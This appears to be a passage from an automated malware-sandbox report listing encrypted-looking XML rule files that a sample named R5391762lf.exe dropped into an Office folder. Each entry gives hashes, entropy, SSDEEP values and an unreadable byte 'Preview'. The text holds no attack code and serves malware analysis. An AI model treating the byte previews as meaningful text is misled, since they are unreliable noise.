Preview:	<?xml..i....NFk. ..:[&m.Tr..u"P..&..`.9Y~..PF!&..H:...........x.f".i\.F./{..3.S_.u9b...P)B...N...VE....W....;..!`..v...k.hG..{./"..\|ob...K.....m.4."......."6.e......TI'.'.....(....._,.^=....E._9..N{..n.r....5..:....#=<...xn....H^.OQ...4..w.R....d.&pM..S..+...&.Xk.ZO W.9;e.U...._....(. ,...!....!Y6..$.7T.`........@v.T..v......7...:Cl.....]..D..g.b...!.u....4....3U..K........u............O........@...%.{...;......m.z.U{z....b.=S-@.l........o...H7.P.oD.+......w&.R......4...W...^.;.O........9'....Jw'.T6E..5S...3.^M..f.....Q......F.....F\....(V^..d.....0.......A.}....o\|..r..B.H..: .;.....h.E.Y2oQ...R.U9.;Q[.........6...sk.4..>FR..^+...%..>.....J..j=.....^\|...B.a....7.q_..]bYO.4..h......P.*i>BrL.#..e.....]E.@........(n1R..4..ae..3.NP.6..t...V.....Nh.sTG..4.\|..a>.7..\|..)#.......=.......`.0.t..i."...Mt..B=;P.........4]W..x.6..s..{Q..5\|..&...Jf........?...ik..yFJ.v.....#...&l.Q..R..l./C+..F._....6.pgm.w....y.A.?....u...^...D.}}j.....P....8....

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702401v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.885198285241559
Encrypted:	false
SSDEEP:	48:SpW1PPxPhryah9e1nUxKVGxIJwFA4XFuED:uW1PZPhrPC1UxKVjeqeFuQ
MD5:	D1EB59D8E02C5A0EF0274FE47CB36AF2
SHA1:	BCC11FB2C69DC70D3B729010356CDBF2A46D86E5
SHA-256:	40FA101B56835BE913B87319323685457FB6E15214287B0C01EBB11CFFF6A1B5
SHA-512:	72896EC2113512ED6E989A57C29FF8B22DDC60FD80C9A982EC7CA79CD5701E2D3FB4189705EA85710D8D74F3745546B1603F6C1374501245E32DF242CD1350F2
Malicious:	false
Preview:	<?xml..~.Q.K'H/.."t...t67C.'..Io&e..~.Md.m".o.f........$4.{R. L....b\.....awa..0..X.>..'p.,.BP.A.B!..&.W4Q.M}..C3}6Kz.=.8V..U;._.....\|m.ow.C\|.'..3..r35...{.j' .........b\|D@...B...y.W.W.0..;2..tT....d..3........[.....o...N..:..zg.0...d.F.3..8..)1.4=.3.0.....dB....\|........i......%..X.^..b....b...L.e$..@qH.Rh.....G&..\c......\.xd.S......U..V).A....8.Tq...........l.h.....#.D.\.;4......K.."h.K0..YcM.n.N....=.../...<^...... .fD...F...s...,]._K.....Y..#H...1.V0..a`..g.:I.=.........N\|.>J)K.+..L`......KK.3...K..x..Z..'_E..\.8yc..Zm.7f>..v$.Y.Y.q.f...2p.eL@./......B.bLJO..+TO.C.F........'..T-.-}...nA{0.<7.$0..:CR8.Vv~=B.0Ka..4.U.-m.z.T..Q..f.x.K....f.Iq.b...erge........V..k(. R...IZq.5..8-..4.....S\|..`.X,..k.........Y.p.....d..nO>.<s...5O..~Q..3.UE..h.2U.S.&...^r,..Dt.z..Rx....+fN"...O.!.8z.B5.....I.Ur`H.g"......W,...M.....B.?].z..*.=g..P.e/..jaR.xi.].J....7D...s...>....-.<.R.Uk...#.9.xpD1YW.y..d..1.\...l.Y....".b.38..<].nA!.x....2....

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702450v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.8720980201565975
Encrypted:	false
SSDEEP:	48:9xphe7yOd1SPJDQmeNC6iT4iNy3eUqDOtFLXFuED:bpheVkPSmsfikiNy3eUHdFuQ
MD5:	73DC02B96FB1D34CF32CF0335FFCBC2A
SHA1:	27DC9527112FA4EFBC94479AA2DFDD38E3022237
SHA-256:	BB56A8C8D140697C12E189125D683730AEFCA1494C5D179F14BD528A7791D1E1
SHA-512:	CD0EC7A51410C1670A7A62585BCF66D836126B5E5972B30141BCC86FACF7FA6D832926A0D105016AE3FE1D04C2B6719705E61A8D7511CF0E118371A66CEA196A
Malicious:	false
Preview:	<?xml..........,.lD.!\...f...yT...?^]}........A>w..]W......d:..\|..D. ..J......\................X...I...-..n..._~..H./t..F.XN..6O.O..D{.@.P`......n.C..uj.../....q.............~.._.,.,. .U..64Y.........;J....=w].v.Q....p... .[?.l.@..#..#..i...'J.!.-.0`.^7C..<.......i2^...IV..+..,.........O...`....O[$.L}.D4........S+.....I...6..,....!%......r......C..6~\.../.R.wxhf.G.......a.L.kN..m........i..)R.w..i..f.3.....Pib...%A....?.J.)...D.X.....UyrH.g[...?.Mb..~DX.nQ....V\|.uo.....'j.z.@4.T.....DA..{.~;.K..]..._...Z.._..%x.+...2B.j.9...:...8>.X%......."..x..B3.d)n.@...y6.....P...z........Y..~v`..G.t.W...=.Cue.....5..W............b/W.... . J/..@...s..F>...O...2S.....r......#..U..x...R`..,.........t...4.l...!.........`....s..H.C6.$...[..r9...p.s..Ud4H.9?nT..c....K.h.....2...}P...{."c...g...g=.y..r.l..0...D..L5.X.....8.M.../..Q.j...d.I%...&.@...6+XV..:8y...j..R..-..1..W#t=L6.h.sa.......m .....1.`...r.'@........=\|x.Z...\t....\.....p9

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702451v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.880211321692963
Encrypted:	false
SSDEEP:	24:mbfQzxYuKiW2iNtCTc24ccIsauJ2l8DgUvfQDQJo6IZpSAkp4B03tjuWraqYIFgO:MNPtwcIs4l8NQFCAkHBuWrhDXFuED
MD5:	CD31B4B5E50DC7F5121E25D32A0DB78E
SHA1:	A51500289B5F40EB78D2B1F5528226E4DA87FB4F
SHA-256:	56500DBBD8E5865EE468CA087895EF08B0C30AA4CD7FB4A17350E0400084B5D6
SHA-512:	2489B9F9E706213930D6E3363C53C7CAB55A3C8DC694CCB878B5A7EFF388C2F6399CAB5841C043BE61AC3B857676AC8E483260A1C4B564C053C2292114B7BADB
Malicious:	false
Preview:	<?xml...I..K...4&[.&.Da..9......kG.R.(vm19M.h...;.R\|n....p....b.,.)...........ls..-......P2.._=..E.@.,..B..4.4.".A,..5.,..x...k..!<.^M8.".>.G..Zj.{..%..7$..x....tM...(.A\|.Q&..X.../.....c..5=:.b.....}..^.S.....4....N...0?6&..$.s.......I.9~..+....x=]...j<JB.G....Y...&..g....!.`...@........jY.?M9SU......;..(q...- M..P....H.0L".!.......i..S2FHU.J.....A..S.@.VY3D...@b]O\2#..F...m.o...K.GN(A...........Pp{./.S..}H.G..@!V.N\|....5n.cC.p..[.....-..KR.r.....~.!...}zY.....c..v7.....Z.@.l.x....mn..;%..i.c..M...,/..M.1...;.....uV.8...&/u.....%.GTw.G../....N.....HZ&..@..eI.m...[. )b.@...............^..[}...Q....5.W..+....7...h./........p!M...q..E..............u.h<;.N..9'..+.A...Kl.Wt.a[..t..x..dU...^...Ir...;...Up.........v....k..S..qL.F.g&lr-..5....L..2#[..B).._#."\..5S.......D.N..B...N.{..E..E.TH.j..r.:....tv,.m..I=..6........$..Q.....>..C...\../Y...C(.a.9..k..?n.9...1ca.>F.Q..j..(.A.......>..e0vo.......P$.....b.7f..... w3......\|Qarv...x4.N<H..

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702500v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1711
Entropy (8bit):	7.891825891746319
Encrypted:	false
SSDEEP:	48:687xxeio8qf9rryVJ4vMHUzyXSmcXFuED:h7xA1yVJspFuQ
MD5:	6853CA8D50E96BDAD53C81535C7C5AAD
SHA1:	D5C4D42F82B0EE27575A69210532925650407C03
SHA-256:	48D5FD85D9012BE428BCAAA5C1B0D03DEC9059C19F825E86D47F9F30E2B44E67
SHA-512:	F1512D5B6EDCC3A49ECB886DBAE7A910C50833EF388B3CDC399AECB71CD0EDE799D9F765176A7FAD96814F8E55DAA725F963729FF63AE5B79B875DEC2B3677DA
Malicious:	false
Preview:	<?xmlH..A..A.s..1.`..Y..t....f..-@C.1...Q.6....Bt....7..H...Q.K.BZz.....d.P.O..6h..<).....@.......W.>F....#6....:'.....e...\>.Q....m..mw..>..#`.J.[[.....9U5\...0...>d.y....d'0..Zq..KI.......,.O.z..j.....1.....iFv...o\|..eM.'.`\|Vr...I.C..X.>.L.B..]{J+.~J.UX[8...6.\|\.%t(Nw...n........-.%.E.[....<7..v....^.b.....'.X&..XY^\|.)......=L4...C?...NN.K}...........\.e@..O......V.b......4V....p...?..W6..y.N.~.{.x.wZ..U.@.5..L5.gAr.b..'.%..>...........3.E..;......%;!.../..^.gOJJ".V.;N..............X!+...M.".J.6Xd..T..R.G>."..>....d...c.4.....ov\n..w....,......9...E.e.}..=...^%c+.+#q...x`.6....L....o.....w......s..?.a..R......Y.r6.....\.@..\..`.!..s.R`B.K3S..N%-.h.............n.).A-o(....=E..U1.O.J.....IY.....6N...S..p>..I.\4..........h..@.54.;.p..&.....E..>~.<y?".$I.. 3.;..^...tHnk?.[.....@2..a..%.t.}.u ..h..P.[.0.I^..69'..+..D.......".+N.;.."?....^..1L............X..T/;O......Z.n..t.y....1...*.....1..WQ...S..W..m.U.x..I."...9....+.S97gH4]2%l.v

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702501v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1748
Entropy (8bit):	7.897861878214799
Encrypted:	false
SSDEEP:	48:W8QPzfye7/SwROdrWZD+pT9wxtGxJXuRp8iIX/mHufwXFuED:irF7/RUdwe9wuxJXuXTIXuHuOFuQ
MD5:	99A87F87427D65C723D9B0260C8E057B
SHA1:	BAD3D4952DEAF6FAED1DAA09AC142A009BD7DAB2
SHA-256:	48576B4C410760AE518BC85F6E5B0B6221CC905D9558F3A7EDE7AC0A1D174669
SHA-512:	AE65F7639892C6DE6C3456F8347095C98063342BD7CD0E26906870E12CED4D8EA5D6821030B31F9BB14C2670A2C242B78CE1597CF4B91BB0D0BA2AA586263981
Malicious:	false
Preview:	<?xml...[...'..m.5.......S6.\.8[...n..^].H...e.sQm.._.v....IQ..bAq...'..B.'...?.....O..R....~.9M..?.k.Q.m.?....fH#.6XVl....FM..KE...@..<..\.I.-=MWd......@.{.3{Zm...Hi..5.%5.16.'..:.N.n.w<.>.......;~uw.....@..P.a....P.!.QYm.,.......A...l._..]&:.4i.p....4!9.<s.k^4.V%.....w...N..z...a7..l.\|iY....+.zz9...x.,3........~T.y.Ag....y..........o./.......E....h...}b{.j..p-..BhJ..[.;..q..........S...8.^.C..3....zf...Qw..MyYb2E..2E.......\s4.)R..r....pc.~BRG....,z.{...."A..G....j"9.M......~Z...K.>.o....j..-.......G/....P#.Rm..s'..'./F8...P..........'..J^z..S..Nt..d..T...cT..`gD.O.. ..LW...'r??..x..{....H.....t.jM.w.....k.c....;../...D..,D.....HedI...r._..l....,......n.?/.Gv/?rZ_P.kkh...a..W....^.\|.{...^.J@....\|%R...u....+.....`KZ..~L8q.....w.=...P....y..#.\QU.3.8....C..Y.qXq..`z&.E........fn7.so.....3...@Q.m.y..~%.^IQ....I.e..:.......U.)......h'..M.........B/.1......>.^...'3........V....)a.....;....1.v.....H.dc...?..7A.$.7.%..U.....k.X...N....M.

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702550v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1711
Entropy (8bit):	7.880906502792973
Encrypted:	false
SSDEEP:	48:uYkNmahVsI/5Bpa58wR/nK1vW6TLuHoWr+qL7MXFuED:uYKsuPVnLgoIPqFuQ
MD5:	AE7E6009AD4FD4E5D564EC95DE9D8551
SHA1:	4ACC9AC92DD594911997A77109810B48DE7A5A2A
SHA-256:	B4656ABA4C5E5A08820FC2367103CA8B9E93C25ECF479160E12BBA220CAB86B4
SHA-512:	F9B25EAE677D2DE7E02EC629B57B717D03D1B311D91D77FA1889597595D485A1BEF97F8EA67E9EDF583D75AD0EF76B664EA2FAEF82822D44FD7B3366509212C5
Malicious:	false
Preview:	<?xml .Fi&f......Z../]U..JR..?...6.H....//98.l..<...\.....P..YX.y.4.\|...d.<...DC$&.......x..y.Q...}..N....8.....?2;..^?..`...9.M.YK.$.....,a.Fk..n....MI_.u11Ch.%/.(.......=..K.K.......3.F..D..Uy2K6.....@..FU...IR.....3..~v.NS................./.U.Y..7i..y...v...h...wN...w#...<....;..lG......?0...,76.\(.@...P.ZE>.'.}.$2...t...j.=......M5...W...".....'.%.......G......9.a.a.%.~.T@-....:....X..vH<#0.SMXy.7..e.$o.h.....m..m7y6..T...@......$.G. `.p.......&...2=....K.g....z........O.`....5=...w... L...}.Xt.4.g..d..S.-.W....R.f...B.v.2.&.p?.V.:Q..C.?.[.M..).$...$M...]..J.D.D....:0..[.}.q..nn...sF0.A.E..M..'xy....H...o...."..m.8..'P.j..W...!.....V.?.w..I.7.K..q.?9...I...<.p..$.ON.........BFN..S..$.m .b.....S........L.{..b.......K....K..O0,.%.)Rn.o._5..b.=yIX!{.;W...Ii...0.....es.u...8..i9g..... ......d.......Y8..Am..".......6..R.....J..E.k.....!#qF...4n...)...LK.H.{.-k..3:.L.$..=....q...7K.Y.w.Y....j...`.D.~8.28>e..U.s..

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702551v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1748
Entropy (8bit):	7.8791248498031505
Encrypted:	false
SSDEEP:	48:rBa6l30rMx/knsnp7fPexAxmV83+zvZ/MtzODGClonjXFuED:rcO3JnprPnmLz+tzOgrFuQ
MD5:	CF1FD7D3060FAA99E85BA936BCD4C061
SHA1:	4ED037EF703781749F794EFB3EDCC7F069E977E3
SHA-256:	58FF63AF4C52C93F2D727C9A0C9B605DDCC7E1F2CAC097DBF4F60ECC29045A4F
SHA-512:	68F7D87D4B49FA3C14F345558A803275F92B736685EFF2E792A3657F1A306AE8FDEFF00B733CB9972B8B63A871B57860C45C0DBDB5431909FC9CF7DA5C1A19EA
Malicious:	false
Preview:	<?xml. Dj3@P..Y..2m.m./6....8Z..a........w.(...-..3.......:.?.d....}W..jM.."lH.7..\-..?.Td....{p...r...s......T......sN...j(C..;...G..........C...~.e.....\|@..+/T.q:_L.?...ezT..q/..1...!....URR.P...."..~.q2...U.....-.N..B...^A>..U....7N..u.}..9..."7G~..u.."s..4...XM..A...Ep .>...Pp.]....L.p"+.LLw.9..C.xo..=...4..g.}...!.p.^. v.........vu..].......4Z....g.-.2`.../Y..e9vH..3x+..z.........W.li.i...%...;0$..Mk@J.iJ...}...x.@.........k@.\|.Q...%..LF@%.]g).l4J.....K....Xi....[c_.=....4..q....@pu.>.+......c.G...N..M.._r$;...&.j!...<..R......6....7.p...j....n....Oq...#...h...#/.......&..}]^..'p..G...-.c.p.n.6..w.z.f....W..A...U.<.....P.x...3.....Q..T..?.g...6.^.FgR..)b./.].).......o.-..t..q....t\..x....f...X.....}..~w..o(qQ.}..XZT\|2=.....m....q.....+W.....zm#"...Y.........=.D....P...s...r... ....+.J.j..IAw...w.%..1H.Sbb!......[v...Tc..&...IN.%..d....x..I.98a.X.cn.6.G-.%.z.....M.q.....G....q....<@E.@....r..d..."..x:5...x.@0X"$...B..q47.D.....a.

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702600v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	7.893024064410335
Encrypted:	false
SSDEEP:	48:Wq8ZfPa8E+Eb9s/49nVThaV5EJlDwhRq5+yptsxpXFuED:Wq8la1+EbVThVJliEJptsx5FuQ
MD5:	E3ED61CB9103AC6E766D330A8A6BD675
SHA1:	EA5BB16FA44F4BD94681C9323566C6B4EFCBFD1C
SHA-256:	7A6A21FBFB2CA88878F1A3EF5643F5A54F75AF7578A61EB77C2FF9D79CCDBBF6
SHA-512:	35BAF4BBF1F3513C7A9DAD033FB7E05F866F6E610D161A53E1AA407C46A53996C2D095515CC58537A97D63143E3FAB9466C560BBFB1F3B382A20FFF45646D0EE
Malicious:	false
Preview:	<?xmlf.<.j.1.).<E#n^.R..o.ix.\9..U.O3..Q..D./...V...A8sTw......U...>.z....@.d...e.T..R.NCi......~./.J......th.R.....S m..u? O\...WI.u..P..y.]#.E....$..>....i..`....Q....Nm.l....a..V.$G.E&..d.....F...VMO....'...Fe;.......'%awt..U.ek6..".2....T.P..$\.....,aa...g..\...l.......O.29Q.<.Cy......^.......(y....."t..r..1q..4q.\|kN.p<.S......k..X..CO.@qz...mX.k.j.@..6`._.Y.9..L^..s...e.j.......c...K.%....\|...a..]...l2?D....l...>.s.o..e.e.?J.x..F...}L.m8..D`E..=.7.3..9H...%f.....F.!.9.'X2B.....!.2G.m...z...5..... D..@...........#E.v<$..+c..>%.D.......M.;..V...1R.....q3...[K..fK.~..%y...Q..\|0.).....d.w.Q..4jbNzo.:.O....mU.\|...y.2.}....Ko........JB..\...{.X...Ir.sZ...J.+...I.[3..#......8Y).....@.....Y..q..0g.eowxY{t.{v./...........'..m.0..........\|1.....I..F.5.-..9.&...6pD..Z,K..Y..."gj..7+KJ....b ..>..O..X...c<.-...].d=.4..l....\|...`......4..N.W..,p.7.W.R.^Q%.".7D.u..)...l..j...>.w...2...A=^n..>8.S.o..i.@....%.o..w.o........6Z.....Zi..y

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702601v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.881600777427672
Encrypted:	false
SSDEEP:	48:pG12yxjK14gJboYx0J9SsvtSTrkLRWut5XFuED:w12yMZpx0TSchLQutJFuQ
MD5:	70D935EBF15F84B80B0F55F24F7625A7
SHA1:	85EA9351170B526715202D612A9F1CD3A940197A
SHA-256:	BE1C27BC7744FB618AF273B13356C088A9FECDA12F1EF23B86CFDAB5B5EB73CE
SHA-512:	662937F31E5EFF33A84E760C91306B2BD38E1ECF87E863D363D1A0DD9D910E6092C2077086D03123D64C34F4DF612E600CB7F884A2507F2D7E64B65128F4E2BF
Malicious:	false
Preview:	<?xml.f.........]:w.n.ma..WC....Q....m.....`LO..L5......i.sB.)&V.:u......wc.JA...3.o..].M.`..b..+p.]0.D..=.RDV'~...D.d#.4.Bo<I\i......:.K.e..13...56^8o....6.....cxm..&.eNc...MKZ...yi....TW.$..1.a...0.}.hS...l...3Q.hK..:..W -@n....x..R..6.U5.d.+..... ..>...a..U..e.ek....;/..F....{.......Vo...:n..7~..N.b..q!/O...9d..J.....Uj...$#h}.%.j..Q...q^.&{z:.o....Q.v..<].\|qB..i..1@.3.GH..r..I/.ue...\..O\./P.....!,...fD.6..\|......f6.^,drN.7...k....oe.....3m..;Q.;.f.&...N&0....,.qS.,.........>..l...BQ._..?..{y.c..gn...o"b..y2.T..\|.k....x1..Da.Wr.\|+.......[..?U..}.'..(..)a..D...p..V .i.R.(..J.d.@;.......W..:1 ...j.... ..:u..{4I.Vv..j.=..~.."...7..%O..1.`P}..=.(.g..~..%i....lO..].[._ .T....S..W.....O...e..".!W......YkN.O... ..c..Y.UB..x.V.R..j.~:B.....e.....<..G...l-Y...5iL~.\|.=F.C..b....M.....*:Id...l....%..B........t.M..F.....Ba...L...../X..[.~..0np.....M}....E..Ool.........6x.2.....NEt.:...b....!%.."}......%.6.jY..c.^Fx...iF..Y..K.x..S.Xi....=

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702650v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.879291958714541
Encrypted:	false
SSDEEP:	48:N7CTZE78HVuVuScSQtQbWVwy9+jdWSjwXFuED:ZoVuESqtcr0QdpjGFuQ
MD5:	46DC639DCFB99ECA2CED4172A9FDE53C
SHA1:	7FD2BFEE637FC23A80F9DECA87912D019DDA4FBB
SHA-256:	12721FE26B3074E3EEA261F42415BB18195DC06048B6E3380FD0E02DD95F9DE7
SHA-512:	7FA8FC3C6F0B3BAA2C8A1C7ACEFB390480E14B9FE8E26CD8E168EFD0377ECEA221BEAAB8BD29F6935414F3EB1850E103948A86A12B84CA953BC2B712337A8391
Malicious:	false
Preview:	<?xml.Jyf}X...Dw.....v...(..4&)c..E. .....(..h ..VY.f.D.........f....+m6qA.R(....Q=.\)l......\F...L......Y:........a^J...8..1....k.._r..B.m.q...2.H..Dq;..BC.cr...+XR.].W..`\F"m.'..J..D....O.,..R......#.... ......V.....K.......xU..qbs.J. .g^.%......S./.>.7.@.q.W.A.L....bG.F.oKn..+.f....'(?J.Z..D7ph.#..Q.I.~..i7.4.I..n...._..."i.4. ."....I....J...V....bv.....S....[....#....f.i..I.........@...p&.8.......D>.D..........Z=.B......C..4..p...dp...v`j@IQX....-][.A......$.rE.pW..%0\.N../......X..Ys{.\|Z..1>W...nS?.-.i......o.7....{2..Y.f..v=f....m.....RZ...(\....[.tb.../...!...x.tF....akz......F.R.S.i....(. .....4..fM...R...(.. ..z.=u.....u=3e..&...(...i..zP'...%.S....~.L..ng...l...t...Dh.]..~.w.F...C..vP9O8a^.3..F.h?."+..R..G!..R.\|.hr....Yl4._......./...O.0......b^".n.Y..IUh+....I&..^..,.;....x...'..h.../*....a..l/....x.p....E%b..p.j..q..s..k..M..M9.\|.....v....j.Bcn?.u.9ODF...b-x;\....bp..VktG.Y.>0.7.1.O......f..@E.$..a..T..Z.U....B.....

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702651v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.905525305534774
Encrypted:	false
SSDEEP:	48:ThFppLawKUej8pJYHGSdsysWhGiIBMHk8EBlQbhFti63XFuED:ThFLOUej8pJYHPGiNZoGdiOFuQ
MD5:	EAB007CE05DDA6C9D69389AD7E2A68AD
SHA1:	BFA0EE4F7FC645B9ECB36D92C60A76AD1041B3E6
SHA-256:	9E878481E6DC56BDE47FA8879FD73FC638170D8CF626042E84E17D951679656D
SHA-512:	FEA50532EE834F7C1E5FBA4BC530FE9B2E38A15A038528333639357A25E7D1262C112F23CDADE675280F0C60CB5B5F0F9B48204F4718EC1749355A0854EEA78D
Malicious:	false
Preview:	<?xmle......[IepM.mH2...W"......M.%..#.z.:.R..2.....EH..0.....t@....`...T!..c).^\.z....&(b......M.]..6Y\.8...!.eM]u/..)..."@....C..N{)..Dw..)R...]]..0.V?\..a....s.x..3(Z.'.g.g....'2...=.........;3..z....&......szf.@DS...Ijq.........;GJi..%.,)z...Gu..Y(.xr.v9.Z....?$.h.C.....I..j=....j....@R..........xZ.qxZ.cF/..._.T1..._C4z..Bc... .Y....$_.P.Y.......y.......-pf......gA...n...Z\"yB...2M1...'.d.L.H..oT......K.O...}..kQ..Qg...J.3.,V^..d....u.M..D.......iH..r...A.k...v.w..=.r.l.i]H:.....t....?.1..F....g...&.._.E.C!>......k...}.ExX..r.......bV. .]e.]...4.......}..... ,,..-..k.`....R....UN...........I...4.y..w.z)...mr....E....}an..p...&.OF.H.=G..I.B.#............C.E.,...p.2...(.9~.....X/.3....5..,.3........w(..}].l..#.o.....\|..@....{>z3.Xk.-F.%...%.........t/.KK.>.]...k..+j~.u....F.Q..h.$....:>UsV.....t....d:....t...p.v...My..O...\.x`B>.......$."6.}.......0..b...Kq=.E...xG..-./.Z9..1..}u.E.+......8.\....1.p}{.. ..,..kw.).J...;...Fk...........t.

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702700v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1700
Entropy (8bit):	7.856116357751534
Encrypted:	false
SSDEEP:	48:omZsbgwVVepD2YB+53Y74QURXdqQhqn4/kPrD4aseXFuED:nyg5pD3+5ocbtqQknQX8FuQ
MD5:	701DBC6FA8CA6669A6524858E86715E9
SHA1:	F3835256D9BFEEFF2A52B3CF7A533D7B3B4FB119
SHA-256:	11E09FAE22D63C490FBC5C68B6E73130F9ED307347F69739009678E31EFE25E6
SHA-512:	4B3BFD568F6E1859CD895949687D95A64AE575DB376D9771F7B3CFF2D10DE725EB94019359F19E12B00025F83782A7B91901570CA94CC5935FCB67842A206589
Malicious:	false
Preview:	<?xmlK.....S....>..zY....V0.Fk...{....a.X..vF.>n.?.....Ec...?..K2.....cDE.kM>...[O..."..........7........W".Eg..............)..o.......b&wTw.E...D[!a..Q........L/.._.VJ...r....W.nQ....:5...6...D....BQ.....o..7#;\|.o.x...<..V....U....bO..0@..8..<.iW..a..V.V...w.G.)..".?....i.......%'C.............N.GQ`...z..t....}.....D......p...`N..P.J.!r.R.....v.s..j'........R...S...2.A.....y..av......3.nA...o..2..U..%.d.........?:o.'lGi.;C:.....>..di.eR.=X%..]#.[6........A..#ag...s.J........ ....MU.....,....?.t.D..v.v...,8....G8TEv(U...T.............QiYj.+..L...D%J-S.....eiP.......q...q.N?..).vby.....Y.........v.(...N..r.L....4.>aJ..(........lM4[..c.>.....B... ....=\....{.Y...).q.i.Od...?Y..A..I.....R.S2a.....=..d8:.L}..]9.\.W....O..A..x..C..,C..A.06..0.(.=U...t.]...@....p..4..-...u......v..P\[.?.e.J.....h*.....AF...?"..}....4..^"....:...]\[.2..@s]..)...'O-..+l.U..k..Qrw..@..d.....2.r{!..^...h...D........"..`B'H......?.>%...f..M..=.63...}..)}..\|gA..W>..

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702701v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.890308249072302
Encrypted:	false
SSDEEP:	48:nRseQkHbcGpOnWGZMYC94WZPpXVt1n1cB3br1XFuED:nKeQabcGEPvA4IPpcB3brtFuQ
MD5:	3DA8A2A59AB299292A31722A1A5FAC3C
SHA1:	0B2D3AF3C66B3108AD6860B4F2F21FCA64642800
SHA-256:	EACB46AEB478F8E566B7ECF6F45E376D03E85B59F82C5080B77A4610915913F1
SHA-512:	AF2E433B97AAA300006CF8F48C98C9BFEF43DCBAB108F23FF7B0937C850FA8E4A3FAF9BFCACC41A154FA65AB9056FE9B6A2507BF234F8F6595D1E65C601B1358
Malicious:	false
Preview:	<?xml..J.snU.`&q..M..]\|.5.t.#..CR.t./..Y#..J....c.....^..6...k...p..OpwD.d...5H.W..!.....?$.....F.d..........3s..\\0.\.C..<&.c..r...0..R.N...S....GP.f..D.../>..pt.<.M,..K.h.&J.O.......,...b.Ep.G.~.PY.M..PX..q..tY.....P.."a.Gk.A.).S.K..x..&#.M..L.....xQ.v>S....^...$...n...z4.\|H.....l.....B.Q....../6..."'I. w4...R..H.82.d.t.kx....y.<.....4......G...71.b.v......8..~.t.[#...J...nP-~......7..=n.1....B.;B.[..9.Fp&kx.....b.d{.....}..!..9.j\..`...'..6...<.....g.Q..KoK.w.S..T9~...p..).!VCT..y/.cx...g..S.....Hh.m.....m.B......I..._..d~...~..DuL.w.....dK>...E....j..9p}+.N$l...,.V..N.......a....R(.2..w...W.:1.b..H.f.l.P.$.T..o~X........P..?.A....F..>@..-.5AkJ....~.y....s......X{`o.^.>0.{...n,..P...._..X4=.p....z.&].f.f...........[6@R..H..7..(.?..F#...-.].~RM.;Z.\.M ....1p..Q..T.8._.p./.9.8..$...F..].Ao.:0;.,.^........e.......],..p.l.X_M..O.[XN.lv.C.Nx..R.P.r.K......O.DP..b.s.c./(......+8.(./.......6.>..$.......h../.s4.4.../?..".....D..(da...:.hI

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702750v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.88307307218044
Encrypted:	false
SSDEEP:	48:ecwBEkli1TWr9NARLghCBbt7cGHXkS1vu1WjXFuED:5tTK5CBbGGHr1vBrFuQ
MD5:	0B2E36647C230748B77C1E63632343EC
SHA1:	8C6E3976554ADD3DE094573D58AC8B27585D9D83
SHA-256:	6E70DBD0341357027FB0E659DB85F83F0C1D9FDCD480EF6FD4898BEB67EF4A28
SHA-512:	87E57DB8FA5E49D0607FB9C1E28E5528A0C57F35E343527CA135574DBC4B95396719607DCCD0733B52E9DD8E8184359DBE0D979125950337A7D5C9CA28F7B2D8
Malicious:	false
